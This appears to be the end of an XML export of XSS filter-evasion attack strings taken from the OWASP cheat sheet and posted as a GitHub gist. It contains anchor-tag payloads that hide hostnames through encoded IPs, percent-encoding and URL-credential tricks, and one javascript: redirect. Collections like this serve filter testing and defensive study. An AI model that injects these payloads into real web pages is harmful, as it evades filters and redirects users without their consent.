<A HREF="http://66.102.7.147/">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="http://1113982867/">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="http://0102.0146.0007.00000223/">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="h | |
tt p://6 6.000146.0x7.147/">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="//www.google.com/">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="//google">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="http://ha.ckers.org@google">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="http://google:ha.ckers.org">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="http://google.com/">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="http://www.google.com./">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack></attacks></exportedattacks> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment